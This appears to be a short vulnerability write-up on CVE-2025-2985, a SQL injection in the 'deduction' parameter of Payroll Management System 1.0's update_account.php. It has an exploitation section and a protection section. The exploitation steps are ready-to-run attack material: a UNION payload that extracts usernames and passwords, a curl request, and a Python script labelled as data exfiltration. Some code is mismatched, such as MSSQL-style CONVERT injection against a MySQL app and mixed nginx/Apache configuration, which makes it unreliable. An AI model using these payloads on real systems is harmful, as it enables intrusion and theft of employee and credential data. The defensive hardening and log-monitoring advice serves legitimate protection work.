How CVE-2025-2985 Works
The vulnerability exists in `update_account.php` of Payroll Management System 1.0, where improper sanitization of the `deduction` parameter allows SQL injection. Attackers craft malicious SQL queries via this parameter, manipulating database operations. The flaw enables unauthorized access to sensitive payroll data, including employee records and financial details. Remote exploitation is possible without authentication, making it critical. The attack vector involves sending crafted HTTP requests containing SQL payloads, which the server executes due to lack of input validation.
DailyCVE Form

Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation
1. Craft Payload:
deduction=1' UNION SELECT username,password FROM users--
2. Send Request:
curl -X POST http://target.com/update_account.php -d "deduction=1' UNION SELECT 1,2--"
3. Exfiltrate Data:
import requests
payload = {"deduction": "1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))--"}
response = requests.post("http://target.com/update_account.php", data=payload)
print(response.text)
Protection
1. Input Sanitization:
$deduction = mysqli_real_escape_string($conn, $_POST['deduction']);
2. Prepared Statements:
$stmt = $conn->prepare("UPDATE accounts SET deduction=? WHERE id=?");
$stmt->bind_param("si", $deduction, $id);
3. WAF Rules:
location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1000,deny,status:403"';
}
4. Patch Verification:
grep -r "mysqli_query" /var/www/html/
5. Log Monitoring:
tail -f /var/log/apache2/access.log | grep -i "union.select"
